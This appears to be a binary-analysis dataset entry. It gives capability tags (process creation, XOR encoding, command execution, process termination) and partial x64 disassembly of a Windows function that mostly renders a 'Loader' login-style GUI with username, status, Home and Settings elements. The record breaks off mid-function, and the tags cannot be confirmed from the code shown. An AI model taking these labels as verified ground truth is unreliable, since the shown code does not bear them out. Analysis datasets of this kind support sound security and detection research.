Function at 0x14005b410
Capabilities:
Create process on windows
Encode data using xor
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x500
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
movaps xmmword [rax - 0xa8], xmm14
movaps xmmword [rax - 0xb8], xmm15
mov rax, qword [0x1400bb040]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor r12d, r12d
mov dword [rsp + 0x50], r12d
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x440]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x14013fd60]
mov dword [rbx + 0x1dd4], 0x43aa0000
mov qword [rbx + 0x1dd8], 0x43480000
mov dword [rbx + 0x1de0], r12d
mov dword [rbx + 0x1dc4], 2
mov byte [rbx + 0x1dfc], 1
or dword [rbx + 0x1dc0], 3
mov dword [rbx + 0x1de4], 0x44960000
mov dword [rbx + 0x1de8], 0x442f0000
mov dword [rbx + 0x1dc8], 1
lea rcx, [rbx + 0x1e80]
movss xmm1, dword [rbx + 0x163c]
movss xmm0, dword [rbx + 0x1640]
mov dword [rsp + 0x2d0], 1
movss dword [rsp + 0x2d4], xmm1
movss dword [rsp + 0x2d8], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov qword [rbx + 0x163c], r12
xor edx, edx
lea r8d, [r12 + 0x2b]
lea rcx, str.Loader
call fcn.140023bc0
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movsd xmm8, qword [rax + 0x50]
movss xmm6, dword [rax + 0x58]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm9, dword [rax + 0x118]
movss xmm10, dword [rax + 0x11c]
movss xmm13, dword [0x1400ae87c]
subss xmm10, xmm13
addss xmm9, dword [0x1400ae8b0]
movss dword [rsp + 0x60], xmm9
movss dword [rsp + 0x64], xmm10
xorps xmm12, xmm12
mov qword [rsp + 0x310], r12
mov dword [rsp + 0x68], 0x3f800000
mov dword [rsp + 0x6c], 0x3f800000
movaps xmm0, xmmword [0x1400aea00]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
movaps xmm7, xmm8
shufps xmm7, xmm7, 0x55
movss xmm11, dword [0x1400ae8c4]
addss xmm7, xmm11
movsd qword [rsp + 0x2d0], xmm8
addss xmm6, xmm8
movss dword [rsp + 0x58], xmm6
movss dword [rsp + 0x5c], xmm7
mov dword [rsp + 0x28], 0x30
movss xmm6, dword [0x1400ae868]
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x2d0]
mov rcx, rbx
call fcn.140044e90
movaps xmm0, xmmword [0x1400aeb00]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r11d, eax
movaps xmm0, xmmword [0x1400aea30]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r10d, eax
movaps xmm0, xmmword [0x1400aea30]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r9d, eax
movaps xmm0, xmmword [0x1400aeb00]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r8d, eax
movaps xmm0, xmmword [0x1400aea30]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
addss xmm8, dword [0x1400ae8ac]
movss dword [rsp + 0x58], xmm8
movss dword [rsp + 0x5c], xmm7
movss dword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], r11d
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r8d
mov r9d, eax
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x2d0]
mov rcx, rbx
call fcn.140049f70
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm12
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae95c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x41f00000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
call fcn.140050f90
test al, al
je 0x14005b7ed
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm12
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm12
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43870000
mov dword [rsp + 0x2d4], 0x44480000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.leftside
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005b8bf
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005b8ce
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 0x30
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.leftside
call fcn.140020c30
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r15d, eax
addss xmm10, dword [0x1400ae8dc]
addss xmm9, dword [0x1400ae8f4]
movss dword [rsp + 0x58], xmm9
movss dword [rsp + 0x5c], xmm10
mov rsi, qword [0x14013fe38]
test eax, 0xff000000
je 0x14005b9f7
mov r14, qword [rdi + 0x98]
cmp rsi, r14
je 0x14005b954
mov rdx, rsi
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movss xmm3, dword [0x1400ae858]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400446b0
mov r9d, r15d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
mov dword [rdi + 0x78], r12d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp rsi, r14
je 0x14005b9f7
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005b9df
mov rax, r12
jmp 0x14005b9e8
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
mov rax, qword [0x14013fd60]
mov rcx, qword [rax + 0x1d18]
movss xmm6, dword [rcx + 0x118]
movss xmm7, dword [rcx + 0x11c]
addss xmm7, dword [0x1400ae8e4]
addss xmm6, dword [0x1400ae8d4]
movss dword [rsp + 0x58], xmm6
movss dword [rsp + 0x5c], xmm7
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2d0], xmm0
lea rcx, [rsp + 0x2d0]
call fcn.140019580
mov r15d, eax
addss xmm7, dword [0x1400ae8c0]
addss xmm6, xmm11
movss dword [rsp + 0x60], xmm6
movss dword [rsp + 0x64], xmm7
mov rsi, qword [0x14013fd98]
test eax, 0xff000000
je 0x14005bb49
mov r14, qword [rdi + 0x98]
cmp rsi, r14
je 0x14005ba92
mov rdx, rsi
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movss xmm3, dword [0x1400ae8d8]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400446b0
mov r9d, r15d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
xor r15d, r15d
mov dword [rdi + 0x78], r15d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp rsi, r14
je 0x14005bb4c
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005bb2f
mov eax, r15d
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
jmp 0x14005bb4c
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
jmp 0x14005bb4c
xor r15d, r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ae908]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae8c8]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013fd80]
call fcn.1400272d0
mov qword [rsp + 0x1a0], r15
lea rax, [rsp + 0x168]
mov qword [rsp + 0x2d0], rax
xor edx, edx
lea rcx, [rsp + 0x2f0]
call fcn.1400695b0
nop
mov r13d, 1
mov dword [rsp + 0x50], r13d
lea rax, [rsp + 0x400]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x438], r15
mov rcx, qword [rsp + 0x1a0]
test rcx, rcx
je 0x14005bc43
mov rax, qword [rcx]
lea rdx, [rsp + 0x400]
call qword [rax]
mov qword [rsp + 0x438], rax
lea rcx, [0x14013ff28]
mov rdx, qword [0x14013ff38]
cmp qword [0x14013ff40], 0xf
jbe 0x14005bc62
mov rcx, qword [0x14013ff28]
add rdx, rcx
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], rdx
movaps xmm0, xmmword [rsp + 0x310]
movdqa xmmword [rsp + 0x310], xmm0
lea r8, [rsp + 0x400]
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x1e0]
call fcn.14006bbf0
nop
lea r8, [rsp + 0x2f0]
mov rcx, rax
call fcn.140067d80
nop
lea rcx, [rsp + 0x228]
call fcn.140067cd0
mov rcx, qword [rsp + 0x218]
test rcx, rcx
je 0x14005bceb
mov rax, qword [rcx]
lea rdx, [rsp + 0x1e0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x218], r15
mov rcx, qword [rsp + 0x1a0]
test rcx, rcx
je 0x14005bd14
mov rax, qword [rcx]
lea rdx, [rsp + 0x168]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x1a0], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x328], r15
mov r8d, 6
lea rdx, str.status
lea rcx, [rsp + 0x310]
call fcn.1400676e0
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2f0]
call fcn.1400687f0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
xor eax, eax
mov qword [rsp + 0x2d8], rax
movzx edx, byte [rsp + 0x2d0]
lea rcx, [rsp + 0x2d8]
call fcn.140066500
mov byte [rsp + 0x2d0], 3
mov ecx, 0x20
call fcn.14007bd64
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov r8d, 7
lea rdx, str.success
mov rcx, rax
call fcn.1400676e0
mov qword [rsp + 0x2d8], rbx
lea rdx, [rsp + 0x2d0]
mov rcx, rdi
call fcn.140068420
movzx ebx, al
movzx edx, byte [rsp + 0x2d0]
lea rcx, [rsp + 0x2d8]
call fcn.140066500
nop
test bl, bl
je 0x14005c03b
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x328], r15
mov r8d, 8
lea rdx, str.username
lea rcx, [rsp + 0x310]
call fcn.1400676e0
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2f0]
call fcn.1400687f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c0], xmm0
movdqa xmm1, xmmword [0x1400ae9f0]
movdqu xmmword [rsp + 0x3d0], xmm1
mov byte [rsp + 0x3c0], 0
mov dword [rsp + 0x50], 0x41
cmp byte [rax], 3
jne 0x140060448
mov r9, qword [rax + 8]
lea rax, [rsp + 0x3c0]
cmp rax, r9
je 0x14005becf
mov rbx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x14005be9b
mov r9, qword [r9]
lea rcx, [rsp + 0x3c0]
cmp rbx, 0xf
ja 0x14005bec6
mov qword [rsp + 0x3d0], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x3c0], 0
jmp 0x14005becf
mov rdx, rbx
call fcn.140074ec0
nop
mov r13d, 0x31
mov dword [rsp + 0x50], r13d
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
movss xmm6, dword [rax + 0x58]
lea rax, [rsp + 0x3c0]
cmp qword [rsp + 0x3d8], 0xf
cmova rax, qword [rsp + 0x3c0]
test rax, rax
jne 0x14005bf11
xorps xmm0, xmm0
jmp 0x14005bf6e
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400ae980]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400ae970]
movss xmm2, dword [rbx + 0x1a80]
lea rdx, [rsp + 0x2d0]
mov rcx, qword [rbx + 0x1a78]
call fcn.1400490e0
movss xmm0, dword [rsp + 0x2d0]
addss xmm0, dword [0x1400ae7b0]
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm6, xmm0
mulss xmm6, dword [0x1400ae770]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
lea rdx, [rsp + 0x3c0]
cmp qword [rsp + 0x3d8], 0xf
cmova rdx, qword [rsp + 0x3c0]
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2d0], xmm0
lea rcx, [rsp + 0x2d0]
call fcn.140050280
nop
mov rdx, qword [rsp + 0x3d8]
cmp rdx, 0xf
jbe 0x14005c05e
inc rdx
mov rcx, qword [rsp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c034
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
jmp 0x14005c05e
movaps xmm0, xmmword [0x1400aeb30]
movups xmmword [rsp + 0x2d0], xmm0
lea rdx, str.Failed_to_get_username
lea rcx, [rsp + 0x2d0]
call fcn.140050280
call fcn.140027370
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae8ec]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
movss xmm6, dword [0x1400ae83c]
subss xmm2, xmm6
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400aeb10]
movups xmmword [rsp + 0x2d0], xmm0
lea rdx, str.user
lea rcx, [rsp + 0x2d0]
call fcn.140050280
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
movss xmm7, dword [0x1400ae898]
addss xmm0, xmm7
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ae8a8]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
cmp dword [0x1401401c8], 0
sete r8b
lea rdx, str.Home
lea rcx, [0x1400ac8c8]
call fcn.140052500
test al, al
je 0x14005c245
mov edx, r15d
mov dword [0x1401401c8], edx
jmp 0x14005c24b
mov edx, dword [0x1401401c8]
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm7
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm6
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
cmp edx, 1
sete r8b
lea rdx, str.Settings
lea rcx, [0x1400ac8cc]
call fcn.140052500
test al, al
je 0x14005c330
mov dword [0x1401401c8], 1
and r13d, 0xfffffffe
movzx edx, byte [rsp + 0x2f0]
lea rcx, [rsp + 0x2f8]
call fcn.140066500
nop
call fcn.140020e50
mov eax, dword [0x1401401c8]
movss xmm14, dword [0x1400ae8cc]
test eax, eax
jne 0x14005f611
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm14
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae928]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43870000
mov dword [rsp + 0x2d4], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container1
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005c43b
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005c44a
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.container1
call fcn.140020c30
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
movss xmm8, dword [0x1400ae870]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rsp + 0x68], xmm6
movss dword [rsp + 0x6c], xmm7
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x2d0], 0x3f800000
mov dword [rsp + 0x2d4], 0x3f800000
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r15d, eax
movss xmm9, dword [0x1400ae8e8]
addss xmm7, xmm9
movss xmm10, dword [0x1400ae914]
addss xmm6, xmm10
movss dword [rsp + 0x310], xmm6
movss dword [rsp + 0x314], xmm7
mov rsi, qword [0x14013fe40]
test eax, 0xff000000
je 0x14005c608
mov r14, qword [rdi + 0x98]
cmp rsi, r14
je 0x14005c54f
mov rdx, rsi
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.1400446b0
mov r9d, r15d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
xor r15d, r15d
mov dword [rdi + 0x78], r15d
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp rsi, r14
je 0x14005c60b
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005c5ee
mov eax, r15d
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
jmp 0x14005c60b
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
jmp 0x14005c60b
xor r15d, r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm11, dword [0x1400ae8f0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
movss xmm13, dword [0x1400ae900]
addss xmm2, xmm13
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
lea rdx, [0x1401403f0]
lea rcx, [rsp + 0x380]
call fcn.140065c40
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005c6c5
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005c70b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005c706
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005c919
mov rcx, r8
call fcn.14007ba50
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x400], xmm0
movups xmmword [rsp + 0x410], xmm0
mov dword [rsp + 0x420], eax
lea r14, [0x140000000]
lea rax, [r14 + 0xae3f0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r13d, 2
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x2d0], rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x80], rax
lea rdx, [0x14013ff48]
cmp qword [0x14013ff60], 0xf
cmova rdx, qword [0x14013ff48]
mov r9d, 2
mov r8, qword [0x14013ff58]
lea rcx, [rsp + 0x80]
call fcn.1400663c0
nop
lea rax, [rsp + 0x400]
mov qword [rsp + 0x2f0], rax
lea rsi, str._Y__m__d
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x300], rsi
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rax], 0
jne 0x14005c840
mov qword [rsp + 0x300], rax
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x70]
call fcn.14006b640
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x80]
call fcn.140064880
lea rcx, [rsp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x400]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov rdi, rax
